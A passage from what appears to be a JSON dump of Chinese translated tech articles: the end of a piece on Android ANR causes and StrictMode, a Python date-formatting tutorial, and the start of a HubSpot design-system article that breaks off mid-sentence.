应用程序无响应\n\n![](https://cdn-images-1.medium.com/max/800/0*ncJ-EVNH0Z1rJdVj.)\n\n那么，什么是应用程序无响应（ANR），它又是如何影响用户的呢？\n\n对于用户来说，ANR 是当他们尝试与你的应用进行交互时，该界面被冻结。界面保持冻结几秒钟后，会显示一个对话框，让用户选择等待或强制应用程序退出。\n\n从应用程序开发的角度来看，当应用程序因为执行耗时操作（如磁盘或网络读写）阻塞主线程时，就会发生 ANR。主线程（有时称为 UI 线程）负责响应用户事件并刷新屏幕上每秒绘制六十次的内容。因此，将任何可能延迟其工作的操作都转移到后台线程是至关重要的。\n\n### Android vitals 如何显示 ANR？\n\n使用收集到的有关你应用 ANR 事件的匿名数据，Android vitals 提供了有关 ANR 的多个级别的详细信息。主屏幕显示你应用程序中发生 ANR 的 Activity 的概况。这显示了用户经历过至少一次 ANR 的每日会话的百分比，以及之前最近 30 天的单独报告。还提供了不良行为的阈值。\n\n![](https://cdn-images-1.medium.com/max/800/0*WTt4VlpfdmHEK_su.)\n\n详细信息视图的 **ANR 比例**页面显示了 ANR 比例随时间变化的详细信息，以及按应用版本、Activity 名称、ANR 类型和 Android 版本显示的 ANR 信息。你可以通过 APK 版本号、支持的设备、操作系统版本和时间段来过滤这些数据。\n\n![](https://cdn-images-1.medium.com/max/800/0*uuk2F6DaMO7n4UMr.)\n\n你还可以从 **ANRs & crashes** 部分获取更多详细信息。\n\n![](https://cdn-images-1.medium.com/max/800/0*ODKOaFplhvN113N9.)\n\n### ANR 的常见原因是什么？\n\n如前所述，当应用程序进程阻塞主线程时就会发生 ANR。几乎任何原因都可能导致这种阻塞，但最常见的原因包括：\n\n*   **在主线程上执行磁盘或网络读写操作**。这是迄今为止 ANR 最常见的原因。虽然大多数开发人员都认为你不应该在主线程上读取或写入数据到磁盘或网络，但有时我们总会无意间这么做。在理想情况下从磁盘读取几个字节可能不会导致 ANR，但是**这绝不是一个好主意**。如果用户使用的设备闪存很慢怎么办？如果他们的设备受到来自其他应用程序同时读取和写入的巨大压力，而你的应用程序在队列中等待执行“快速”读取操作时又该怎么办？**切勿在主线程上执行读写操作。**\n*   **在主线程上执行长时间计算**。那么内存里的计算会怎么样呢？RAM 不会受长时间访问的影响，较小的操作应该没问题。但是，当你开始在循环中执行复杂计算或处理大型数据集时，可以轻松阻塞主线程。可以考虑调整包含数百万像素的大图像的大小，或解析大块的 HTML 文本，然后在 TextView 中显示。一般来说，最好让你的应用在后台执行这些操作。\n*   **从主线程向另一个进程运行同步绑定调用**。与磁盘或网络操作类似，在跨进程边界进行阻塞调用时，程序执行会传递到你无法控制的某个位置。如果其他进程很忙怎么办？如果它需要访问磁盘或网络来响应你的请求怎么办？另外，数据传递给另一个进程需要进行序列化和反序列化，这也需要时间。最好从后台线程进行进程间调用。\n*   **使用同步**。即使你将繁重的操作移动到后台线程，也需要与主线程进行通信以显示进度或计算的结果。多线程编程并不容易，而且在使用同步进行锁定时，通常很难保证不会阻塞执行。在最糟糕的情况下，它甚至可能导致死锁，线程之间互相阻塞永久等待下去。最好不要自己设计同步，使用专门的解决方案会更好一些，比如 [Handler](https://developer.android.com/reference/android/os/Handler.html)，从后台线程传递不可变的数据到主线程。\n\n### 我如何检测 ANR 的原因？\n\n查找 ANR 的原因可能会非常棘手，就拿 [URL](https://docs.oracle.com/javase/7/docs/api/java/net/URL.html) 类来说吧。 你觉得确定两个 URL 是否相同的 [URL#equals](https://docs.oracle.com/javase/7/docs/api/java/net/URL.html#equals%28java.lang.Object%29) 方法是否会被阻塞？SharedPreferences 又会怎样？如果你在后台从中读取值，可以在主线程上调用 [getSharedPreferences](https://developer.android.com/reference/android/content/Context.html#getSharedPreferences%28java.lang.String,%20int%29) 方法吗？在这两种情况下，答案是这些都可能是长时间阻塞操作。\n\n幸运的是，[StrictMode](https://developer.android.com/reference/android/os/StrictMode.html) 使查找 ANR 不再靠猜的。在调试版本中使用这个工具可以捕获主线程上意外的磁盘和网络访问。在应用程序启动时使用 [StrictMode＃setThreadPolicy](https://developer.android.com/reference/android/os/StrictMode.html#setThreadPolicy%28android.os.StrictMode.ThreadPolicy%29) 可以自定义你想要检测的内容，包括磁盘和网络读写，甚至可以通过 [StrictMode＃noteSlowCall](http://link) 在应用程序中触发自定义的慢速调用。你还可以选择 StrictMode 在检测到阻塞调用时如何提醒你：通过让应用程序崩溃、Log 信息或者是显示对话框。更多详细信息，请参阅 [ThreadPolicy.Builder类](https://developer.android.com/reference/android/os/StrictMode.ThreadPolicy.Builder.html)。\n\n一旦你消除了主线程中的阻塞调用，记得在将你的应用程序发布到 Play Store 之前关闭 StrictMode。\n\n消除过度唤醒和 ANR 将提高应用程序的质量和可用性，提高评分和评论，进而实现更多安装。通过查看 Android vitals，你可以快速轻松地发现是否存在需要解决的问题。在代码中查找和解决这些问题并不总是那么直截了当，但有些工具和技术可以帮你更高效地完成这些工作。\n\nAndroid vitals 还可以给你提供更多帮助，我会在下一篇文章里介绍更多这些功能。我将在 5 月 8 日星期二下午 3 点，在 [Google I/O 2018](https://events.google.com/io/) 大会上和同事 Fergus Hurley 以及 Joel Newman 一起演示 [“Android vitals：调试应用程序性能和收获奖励”](https://events.google.com/io/schedule/?section=may-8&sid=b8e1c97f-8133-426d-87ee-7a0a61d33de4) 的环节。如果你在那里或者想通过直播了解更多关于 Android vitals、最新的 Play Console 和 Android Studio 工具以及帮助你提高应用质量的意见，请加入我们。\n\n* * *\n\n如果你对 Android vitals 有任何想法或疑问，请通过 **#AskPlayDev** 发送推特告知我们。我们会通过 [@GooglePlayDev](http://twitter.com/googleplaydev) 回复你，我们也会定期在上面分享有关如何在 Google Play 上取得成功的新闻和提示。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-to-format-dates-in-python.md",
    "content": "> * 原文地址：[How to Format Dates in Python](https://stackabuse.com/how-to-format-dates-in-python/)\n> * 原文作者：[Nicholas Samuel](https://stackabuse.com/how-to-format-dates-in-python/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-format-dates-in-python.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-format-dates-in-python.md)\n> * 译者：[Raoul1996](https://github.com/Raoul1996)\n> * 校对者：[rocheers](https://github.com/rocheers)\n\n# Python 中如何格式化日期\n\n## 介绍\n\nPython 附带了各种有用的对象，可以直接使用。例如日期对象就是一个例子。由于日期和时间的复杂性，日期类型很难从头开始操作。所幸，Python 日期对象将日期转换成所需的字符串格式变得相当容易。\n\n日期格式化是作为程序员的你最重要的任务之一。不同地区表示日期/时间的方法各不相同，因此你作为程序员的一大目标是以用户可读的方式显示日期值。\n\n例如，你可能需要用数字格式表示日期值，如 “02-23-2018”。另一方面，你可能需要以更长的文本格式（如 “Feb 23,2018”）表示相同的日期。在另一种情况下，你可能希望从数字格式的日期值中提取出字符串格式的月份。\n\n在本文中，我们将研究不同类型的日期对象及其功能。\n\n### datetime 模块\n\n正如你猜到的， Python 的 `datetime` 模块包含可用于处理日期和时间值的方法。要使用这个模块，我们得先通过以下 `import` 语句将其导入：\n\n```\nimport datetime\n```\n\n我们可以使用 `time` 类表示时间值。时间类的属性包括小时、分钟、秒和微秒。\n\n`time` 类的参数是可选的。尽管不指定任何参数，你将获得 0 的时间（对象），但这大多数时候不太可能是你需要的。\n\n例如，要初始化值为 1 小时、10 分种、20 秒、13 微秒的时间对象，我们可以运行以下命令：\n\n```\nt = datetime.time(1, 10, 20, 13)\n```\n\n让我们使用 print 功能来查看时间：\n\n```\nprint(t)\n```\n\n**输出：**\n\n```\n01:10:20.000013\n```\n\n你可能只需要查看小时、分钟、秒或者微秒，您可以像下边这么做：\n\n```\nprint('hour:', t.hour)\n```\n\n**输出：**\n\n```\nhour: 1\n```\n\n可以按照如下方式检索上述时间（对象）的分钟、秒或者微秒:\n\n```\nprint('Minutes:', t.minute)\nprint('Seconds:', t.second)\nprint('Microsecond:', t.microsecond)\n```\n\n**输出：**\n\n```\nMinutes: 10\nSeconds: 20\nMicroseconds: 13\n```\n\n日历日期指可以通过 `date` 类表示。示例具有的属性有年、月和日。\n\n让我们来调用 `today` 方法来查看今天的日期：\n\n```\nimport datetime\n\ntoday = datetime.date.today()\nprint(today)\n```\n\n**输出：**\n\n```\n2018-09-15\n```\n\n代码将返回今天的日期，因此你看到的输出取决于你运行脚本的日期。\n\n现在我们调用 `ctime` 方法以另一种格式打印日期：\n\n```\nprint('ctime:', today.ctime())\n```\n\n**输出：**\n\n```\nctime: Sat Sep 15 00:00:00 2018\n```\n\n`ctime` 方法会使用比我们之前看到的示例更长的日期时间格式。此方法主要用于将 Unix 时间（从 1970 年 1 月 1 日以来的秒数）转换为字符串格式。\n\n以下是我们如何使用 `date` 类显示年份，月份和日期：\n\n```\nprint('Year:', today.year)\nprint('Month:', today.month)\nprint('Day :', today.day)\n```\n\n**输出**\n\n```\nYear: 2018\n\nMonth: 9\nDay : 15\n```\n\n### 使用 strftime 将日期转换为字符串\n\n既然你已经知道如何创建时间和日期对象，那么让我们学习如何将它们格式化为更易读的字符串。\n\n为此，我们将使用 `strftime` 方法。这个方法可以帮助我们将日期对象转换为可读字符串。它需要两个参数，语法如下所示：\n\n```\ntime.strftime(format, t)\n```\n\n第一个参数是格式字符串（以何种格式显示时间日期，感谢 [rocheers](https://github.com/rocheers) 提醒），第二个参数是格式化的时间，可选值。\n\n这个方法也可以在 `datetime` 对象上直接调用。如以下示例所示：\n\n```\nimport datetime\n\nx = datetime.datetime(2018, 9, 15)\n\nprint(x.strftime(\"%b %d %Y %H:%M:%S\"))\n```\n\n**输出：**\n\n```\nSep 15 2018 00:00:00\n```\n\n我们使用以下字符串来格式化日期:\n\n*   `%b`: 返回月份名称的前三个字符。在我们的例子中，它返回 \"Sep\"。\n*   `%d`: 返回本月的日期，从 1 到 31。在我们的例子中，它返回 \"15\"。\n*   `%Y`: 返回四位数格式的年份。在我们的例子中，它返回 \"2018\"。\n*   `%H`: 返回小时。在我们的例子中，它返回 \"00\"。\n*   `%M`: 返回分钟，从 00 到 59。在我们的例子中，它返回 \"00\"。\n*   `%S`: 返回秒，从 00 到 59。在我们的例子中，它返回 \"00\"。\n\n我们没有时间（对象），因此时间值都是 \"00\"。下面的例子显示了如何格式化时间：\n\n```\nimport datetime\n\nx = datetime.datetime(2018, 9, 15, 12, 45, 35)\n\nprint(x.strftime(\"%b %d %Y %H:%M:%S\"))\n```\n\n**输出：**\n\n```\nSep 15 2018 12:45:35\n```\n\n#### 完整的字符代码列表\n\n除了上面给出的字符串外，`strftime` 方法还使用了其他几个指令来格式化日期值：\n\n*   `%a`: 返回工作日的前三个字符，例如 Wed。\n*   `%A`: 返回返回工作日的全名，例如 Wednesday。\n*   `%B`: 返回月份的全名，例如 September。\n*   `%w`: 返回工作日作为数字，从 0 到 6，周日为 0。\n*   `%m`: 将月份作为数字返回，从 01 到 12。\n*   `%p`: 返回 AM/PM 标识。\n*   `%y`: 返回两位数格式的年份，例如，”18“ 而不是 ”2018“。\n*   `%f`: 返回从 000000 到 999999 的微秒。\n*   `%Z`: 返回时区。\n*   `%z`: 返回 UTC 偏移量。\n*   `%j`: 返回当年的日期编号，从 001 到 366。\n*   `%W`: 返回年份的周数，从 00 到 53。星期一被记为一周第一天。\n*   `%U`: 返回年份的周数，从 00 到 53。星期日被记为一周第一天。\n*   `%c`: 返回本地日期和时间版本。\n*   `%x`: 返回本地日期版本。\n*   `%X`: 返回本地时间版本。\n\n---\n\n**译者备注：原文中的是 weekday，在查了一些资料后翻译成 “工作日”，但是考虑以下示例：**\n\n```python\nfrom datetime import datetime\nx  = datetime.now()\nx.strftime(\"%A\")\n```\n**输出：**\n\n```\n'Sunday'\n```\n\n----\n\n请考虑以下示例：\n\n```\nimport datetime\n\nx = datetime.datetime(2018, 9, 15)\n\nprint(x.strftime('%b/%d/%Y'))\n```\n\n**输出：**\n\n```\nSep/15/2018\n```\n\n以下是你只获取月份的方法：\n\n```\nprint(x.strftime('%B'))\n```\n\n**输出：**\n\n```\nSeptember\n```\n\n让我们只展示年份：\n\n```\nprint(x.strftime('%Y'))\n```\n\n**输出：**\n\n```\n2018\n```\n\n在这个例子中，我们使用了格式化代码 `%Y`。请注意，它的 Y 是大写的，现在使用小写写：\n\n```\nprint(x.strftime('%y'))\n```\n\n**输出：**\n\n```\n18 \n```\n\n这次省略了年份中前两位数字。如你所见，使用这些格式化代码，你可以用你想要的任何方式表示日期时间。\n\n### 使用 strptime 将字符串转换成日期\n\n`strftime` 方法帮助我们将日期对象转换为可读的字符串，`strptime` 恰恰相反。它作用于字符串，并将它们转换成 Python 可以理解的日期对象。\n\n这是这个方法的语法：\n\n```\ndatetime.strptime(string, format)\n```\n\n`string` 参数是我们转换成日期格式的字符串值。`format` 参数是指定转换后日期采用的格式的指令。\n\n例如，如果我们需要将字符串 “9/15/18” 转换成 `datetime` 对象。\n\n我们先导入 `datetime` 模块，我们将使用 `from` 关键字以便能够在没有点格式的情况下引用模块中特定的函数：\n\n```\nfrom datetime import datetime\n```\n\n然后我们可以用字符串形式定义日期：\n\n```\nstr = '9/15/18'\n```\n\n在将字符串转换为实际的 `datetime` 对象之前，Python 无法将上述字符串理解为日期时间。我们可以通过调用 `strptime` 方法成功完成：\n\n执行以下命令转换字符串：\n\n```\ndate_object = datetime.strptime(str, '%m/%d/%y')\n```\n\n现在让我们调用 `print` 函数用 `datetime` 格式显示字符串：\n\n```\nprint(date_object)\n```\n\n**输出：**\n\n```\n2018-09-15 00:00:00\n```\n\n如你所见，转换成功！\n\n你可以看到正斜杠 “/” 用于分隔字符串的各个元素。这告诉 `strptime` 方法我们的日期是什么格式，我们的例子中是用 \"/\" 作为分隔符。\n\n但是，如果月/日/年被 \"-\" 分隔怎么办？你应该这么处理：\n\n```\nfrom datetime import datetime\n\nstr = '9-15-18'\ndate_object = datetime.strptime(str, '%m-%d-%y')\n\nprint(date_object)\n```\n\n**输出：**\n\n```\n2018-09-15 00:00:00\n```\n\n再一次，多亏了格式说明符，`strptime` 方法能够解析我们的日期并将其转换为日期对象。\n\n### 结论\n\n在本文中，我们研究了如何在 Python 中格式化日期。我们看到 Python 中的 `datetime` 模块如何操作日期和时间值。该模块包含了许多操作日期时间的类，比如，`time` 类用于表示时间值，而 `date` 类用来表示日历日期值。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-to-gain-widespread-adoption-of-your-design-system.md",
    "content": "> * 原文地址：[How to gain widespread adoption of your design system](https://medium.com/hubspot-product/how-to-gain-widespread-adoption-of-your-design-system-29d1b142b158)\n> * 原文作者：[Julie Nergararian](https://medium.com/@julienerg?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-gain-widespread-adoption-of-your-design-system.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-gain-widespread-adoption-of-your-design-system.md)\n> * 译者：[Ryden Sun](https://juejin.im/user/585b9407da2f6000657a5c0c)\n> * 校对者：[Moonliujk](https://github.com/Moonliujk)\n\n# 如何让你的设计系统被广泛采用\n\n## 使用文档系统培养设计和开发的共同所有权\n\n**这篇文章是关于 [_HubSpot Canvas_](https://canvas.hubspot.com/)，我们新的设计语言系列的第二篇。点击[这里](https://github.com/xitu/gold-miner/blob/master/TODO1/how-building-a-design-system-empowers-your-team-to-focus-on-people-not-pixels.md)阅读第一篇文章。**\n\n![](https://cdn-images-1.medium.com/max/1000/1*wCQVZ3pzhC6wPZEVa54r8A.png)\n\n在活动进行时，我是作为一个带薪实习的软件工程师来到 HubSpot 的。设计团队在过去几个月时间里，创造了一套华丽的文字设计，颜色和基本组件组合，这套组合是我们在重设计整个平台主要部分的奠基石。\n\n但因为之前这里并没有任何一个设计风格指导 —— 没有单一数据源 —— 那意味着，现实中，我们需要完全重写我们产品的前端。它意味着，我们需要分解超过 40 个团队的工作产出并且完全使用一套新的组件来重建几百个页面，以此实现新的设计。\n\n我加入了 HubSpot 的前端基础架构组，这个团队负责搭建我们整个内部构造系统，并且为 HubSpot 开发者们提供从测试到第三方依赖的全部服务支持。他们自然成了这次重设计的先锋，因此 5 个开发者，包括我自己，被分配去帮助每一个团队升级我们新的设计系统，HubSpot Canvas。当我得知我的任务时，第一想法就是：**史上最好的工作**，后面跟着：**哇，这工作量就恐怖了。**\n\n确实，它确实有很大的工作量。但是如果我们不能从中体会到重要启示的话，那就会有**更多**的工作需要做。 \n\n> 重新的设计只有在设计师和开发者达成共识时才会有效。\n\n我们培养这种共识，在很大程度上，是通过构建良好的工具和文档。我们的文档作为团队中每一个人的单一数据源，同时我们的开发者和设计师使用工具来互相呼应，让每一个人都能使用同一种语言，并且让他们参与到设计系统的管理中来。\n\n这张图描绘了文档是如何在帮助我们实现大量的重设计的同时，还让我们作为一个团队变得更好。\n\n![](https://cdn-images-1.medium.com/max/1000/1*CD9fkMcNzSmnqzfyRO1syw.png)\n\n### 不利因素与有利因素\n\n任何大型项目，都会有利于你的因素在起作用（tailwinds），也会有不利于你的因素在起作用（headwinds）。对我们来说，它们是：\n\n### 有利因素\n\n**我们整个的产品是构建在一个颇为相似的技术栈上。** JavaScript 的生态系统会在转眼之间改变，因此我从来没有期望任何一家像 HubSpot 这样体量的公司会永远处于同一个技术栈上。但在内部，由开发者推动的趋于 React 的趋势，它远离主干，已经获得大范围成功。这意味着，团队们可以重新设计他们的 app，而不需要迁移到其他的技术栈，并且我的团队也可以相对轻松地维护它们之间的一致性。\n\n**我们已经有一个可复用的组件库和相对应的文档工具。** 随着团队开始向 React 迁移，我们其中的一个工程师迅速搭建了一个可复用的 React 组件库，这个组件库易于维护，示例代码可以直接编辑，这意味着我们不需要从头开始写文档。\n\n### 不利因素\n\n**和我们的 app 不同，我们的组件库没有一个完善的 QA 流程。** 我来自一家金融软件公司，在他们真正引入 QA 之前，我可能第一个周就问了我技术老大五遍 QA 工程师在哪里。我们现在不仅处在自己做自己的质量保证阶段，而且我们做的每一个改动都会影响后续的构建版本 —— 并且因为我们的团队一天要部署超过 1000 次，这表明任何的改动都会迅速被扩散到每一个 app 上。 \n\n我们需要前端基础架构组和产品团队协调工作，来确保，我们每一次启动时，每一个屏幕都是准备好了的，同时要注意非主观意识造成的 bug。但是随着我们迅速的发展，可以轻易恢复任何不好的改动，我们可以将损失最小化。\n\n**HubSpot 的产品是由多个小型，自治化的团队组成的。** HubSpot 的团队对产品每一个部分都有完整的所有权，有权利自由地调查，迭代和寻找解决方案。我们也曾担心过，对于这些有高度自治化文化和历史的团队，为开发一个新的设计系统来最终让他们保持一致，是很棘手的。\n\n在转变过程中，他们需要完全停止新功能的开发，并且我们也会开发一些流程和标准，整个团队接下来都必须严格遵守这些流程和标准。在使用一套新系统来帮助你的同事和拿走他们的创造力之间达到一个微妙的平衡。但我们也相信，通过移除掉那些低级的，重复性的问题，我们可以解放我们的同事让他们把更多的创造精力放到解决更大的问题上来。\n\n我们所担心的事情大多数没有发生。团队们也为一个系统级的重设计做好了准备，因为：\n\n1.  没有人需要改变他们的技术栈或者商业逻辑。\n2.  不一致性正在拖我们后腿。产品经理们在用户反馈中看到了这点。设计师在产品无数的阴影中看到了这点。开发者们在**太多**的日期选择器库中看到了这点。一个由其他团队打造和维护的可靠的，可复用的组件库，看起来像是一个不错做解决方案。\n3.  我们的新设计体系，HubSpot Canvas，看起来不错。看起来，[相当不错](https://medium.com/hubspot-product/people-over-pixels-b962c359a14d)。\n\n### 从项目到流程\n\n当别的公司在做大的重设计时，他们经常上来就吹嘘自己，就像汽车发布新款时 —— 昨天你有的是一个旧的，但今天你会拥有一个全新的。\n\n> 这对我们来说是没有用的。\n\n我们的产品和产品团队太繁杂，以至于没法一次性做完。比起一个一个地处理产品的不同部分，我们决定从那些不怎么有用户使用的产品开始，循序渐进地发展到软件的核心部分。这个流程会**极大**地减少破坏性，意味着在新的设计系统广泛使用之前，我们可以对它不断进行优化。\n\n我们想快速进行，因此我们制定了一些规则。我们强调第一个版本将只是一个简单的视觉刷新 —— 没有新的功能。我们想要重新粉刷我们的房子，而不是额外建造一个。如果团队们在重构产品时不断添加新的功能，我们将会无限地拖延时间线。\n\n![](https://cdn-images-1.medium.com/max/1000/1*7oIds6pKssXqqh0iWfqgMQ.png)\n\n我们将每一个设计团队的初始工作产出作为指导，将少数已存在的组件转变成基础性的一组可响应的，易用的，浏览器兼容的 React 组件。为了尽快完成工作，我们在不同团队的 app 内部工作，将组件替换掉。\n\n但是。\n\n这并不快。我们团队只有 5 个工程师，并且是基于不熟悉的代码进行工作，因此我们进行得很慢。更糟糕的是，因为**我们**是开发设计系统的，app 团队并没有机会掌控整个设计语言，留给了他们一个部分代码他们了解，部分完全不了解的 app。我们意识到，这个重设计需要从亲自动手的项目，转变为一个真正的**流程**，所有的团队都可以自己解决。\n\n我们促进这个流程的发展是从提供技术支持和搭建并维护组件库开始的。我们和设计团队协作，让每一个产品设计者重设计他们所负责的产品模块，使用一个包含我们所有设计系统组件元素的 [Sketch kit](https://medium.com/hubspot-product/people-over-pixels-b962c359a14d)。随后我们进行了一次组件回顾讨论，因为每一个团队已经开始了他们负责的重设计，所以我们通过这次回顾讨论来探索潜在的新组件，新的变化或者已存在组件的新的功能性。\n\n然后，我们的团队在 GitHub 上创建 issue，这样在搭建组件的过程中，我们可以持续地在开发与设计间进行协作，并且每一个团队都可以追踪他们需要的组件的搭建过程。我们与每一个 app 的时间进度交错安排，这样我们可以保证我们团队的待办任务不会拖慢别的团队的重设计进度。\n\n它平稳运行了一段时间。随着各团队完成了他们的重设计，他们又重新返回了新功能的开发，但他们的 app 完全由闪闪发光的全新组件组成。\n\n但有些时候，团队们并不知道如何来以及何时来正确地使用组件，亦或是一个组件的表现是否符合意向的。随着他们把问题提给我们，我们被咨询和说明的请求狂轰滥炸。我们越来越背离最初的想法，我们原本想尝试提供支持给那些已经完成的团队，然后我们也支持了那些正在进行重设计的团队。\n\n解决方案比较明确，但是并不简单。\n\n#### 我们需要更好的文档系统。\n\n* * *\n\n### 创建一个套生动的风格指南\n\n良好的文档系统是一桩很好的买卖。你花费的每一秒，写的每一行字，都会在未来节省你无数的时间 —— 时间花费，比如你正在尝试记住一个超有创意的东西，突然你要停下来去给你同事找一个链接来解释组件相关的东西，比如，提示框和弹出框的区别。你应该把这些时间放在**新的**问题上，而不是已经被讨论过，解决过并且确定好的问题上。\n\n我们知道我们希望我们的文档系统是这样的：\n\n*   **易于探索的。** 我们并不希望任何人花时间来创建一个已存在的组件或是其变种，亦或是需要询问管理者这个组件在哪里。\n*   **相关并且有用的。** 它应该是设计系统中的决定性资源，每一个人都应该有信心在上面找到他们想找的问题。\n*   **自我维护和自动化的。** 因此没有东西会过时。\n\n### 埋下种子\n\n为了让我们的文档系统正确的发展，我们决定像为客户搭建产品一样搭建它。我们从采访各种产品团队中的人开始，他们包括设计师和开发者，有已在 HubSpot 工作多年的，也有到刚加入的。我们进行了一个卡片排列练习，我们将已有组件的屏幕截图打印出来，要求 HubSpot 的成员来对他们命名，然后他们这些组件分类并且给分类命名。\n\n![](https://cdn-images-1.medium.com/max/800/1*ZihMIjp4j6ERZkSTVJ4EWw.jpeg)\n\n令人惊讶的是，我们发现开发者和设计师对于我们的组件所使用的语言存在巨大的差异。开发者们经常会引用其他前端库（比如 [jQuery](https://jquery.com/) 和 [Bootstrap](https://getbootstrap.com/)）中的对象名称。设计师们常引用 Google [Material Design System](http://www.material-ui.com/) 中同类型组件的名称。我们发现人们会使用相同的词语来描绘两个极其不同的组件，亦或是不同的名字来描绘同一个组件。\n\n![](https://cdn-images-1.medium.com/max/1000/1*iMdDJWb8GJ0a9jBmhS01NQ.png)\n\n没有失败，每一个设计师或开发者都不希望因为其设计方案中的用户体验（设计师的原型）和实际的用户体验（开发者开发的产品）产生的不同而被否定。并且他们知道，确定这些东西并不仅仅是设计或者开发的责任 —— 这是每一个人的责任。\n\n![](https://cdn-images-1.medium.com/max/1000/1*ak_ooSUtwtfOnEzIkrolRQ.png)\n\n相对于构建另一个组件库，专注于开发者，我们意识到我们需要搭建一个资源，它适用于团队中的每一个人。这一套文档系统和工具会在设计师和开发者之间，对设计系统建立一个共享的所有权。\n\n我们从重命名一小部分组件开始，对一些组件添加一些标签，以便于更好的发现和搜索，并且在组件设计之初就询问一些推荐的名字，这样设计师和开发者可以共同地决定一个合适的名字。同时我们根据组件的相似性将它们分组 —— 目前，举个例子，所有提醒和消息的组件已经可以在同一个页面中找到了。\n\n为了让设计师们可以无缝地在 Sketch 和组件文档系统中切换，我们决定在 Sketch kit 和 UI 库中使用同样的导航，结构和术语，并且同时开发了一个系统，来保持 Sketch kit 和 UI 库同步更新。\n\n### 完全绽放\n\n随着基础工作完成，我们随后通过将调研中的理解的剩余部分应用于实际，让设计师和开发者每天的工作变得更简单并且更有效率。\n\n由于开发者们提到他们经常会在寻找匹配设计师原型的 React 组件时遇到问题，因此我们添加了一层可见的搜索视图，提供了真实的，全自动生成的屏幕截图，让他们更容易找到他们想要的。他们也需要一个地方来看到每个组件包含的所有选项，还有一个地方他们可以找到组件的 API 信息，因此我们把它们展示出来并放到组件描述的中心位置。\n\n![](https://cdn-images-1.medium.com/max/800/0*g_pMS8mB5qVbV7Cs.png)\n\n开发者们也需要一个沙盒来快速测试组件，因此我们提升了组件库中组件的实时编辑的体验，让每一个规划中的组件都包含一个 React 代码编辑器（用语法高亮和 [Prettier](https://prettier.io/) 的功能完成）。我们将它变得更简单，把所有的例子都移动到一个免受干扰的编辑器，它会即时的渲染组件，这样开发者们可以使用它来构建设计的初始版本或者来测试一组特殊的组件组合。接着，他们可以轻易地与其他同事分享它，让他们迅速的迭代，调试，并且便于分享想法和提出解决方案。\n\n设计师们需要一个地方来引用和分享资源，因此我们为我们的颜色，文字设计，插画，图标和产品复制指南创建了浏览页面，和一个可以下载最新版本的 Sketch kit 的链接。我们也将全部的设计流程文档化处理，放到了 UI 库，帮助新的设计师能跟上进度。\n\n无论设计师或者开发者都一直清楚，哪一个组件允许用户完成一项特定的交互模式（例如复制一条连接或者在随着流程一步一步操作前进），我们也创建了模式的页面来解释哪一个组件应该在常见的用户场景中使用。\n\n我们想让更多的开发者参与到设计语言中，所以我们将如何创建组件的指南分享出来，并且在基础组件上开始构建，将它们和我们最喜欢的开源框架结合。这给尝试 OSS 社区中的新工具提供了自由，给我们的技术栈添加了更多功能性和生产力，并且，诚实来说，让 HubSpot 所有希望创造的开发者去创造。因为我们最初目标就是让我们的组件作为所有前端 app 的**视觉基础**，这给在他们上层添加额外的图层留下了很多空间（或者需求）。这给我们的开发者对于一致性的尝试做了选择。\n\n![](https://cdn-images-1.medium.com/max/800/1*T84-hO6EzGz_PXzkCyMRPw.png)\n\n为了鼓励大家日常和文档系统有所交互，我们增加了一些按钮，点击按钮可以建议添加一个新的组件、对一个已存在的组件做出修改、报告一个 bug，或者是请求一个插图，这些按钮就存在于组件库的内部。这些按钮会提前创建好 GitHub issues，包含必要的标签和相关的问题，这样流程中所有的问题都会排好队。对于新来的设计师和开发者，在到来的第一天就提供给他们一个如何使用我们整个的 HubSpot Canvas 生态系统的统一参考源。\n\n![](https://cdn-images-1.medium.com/max/1000/1*H81q1SJECA9bglCiOKte6Q.png)\n\n### 效果\n\n现在，设计师和开发者对于我们的设计系统都共同分享一个单一数据源，而且彼此的理解也加深了。对于文档系统的信任得到加强，也意味着整个设计系统有了更强的信任度。我在几个星期之前看到我们其中一个前端技术负责人发了这个 tweet，这让我感到很骄傲：\n\n![](https://i.loli.net/2018/09/15/5b9cc23122666.png)\n\n我们每年都会对工程师做两次平台基础架构的调查，自从我们开始将 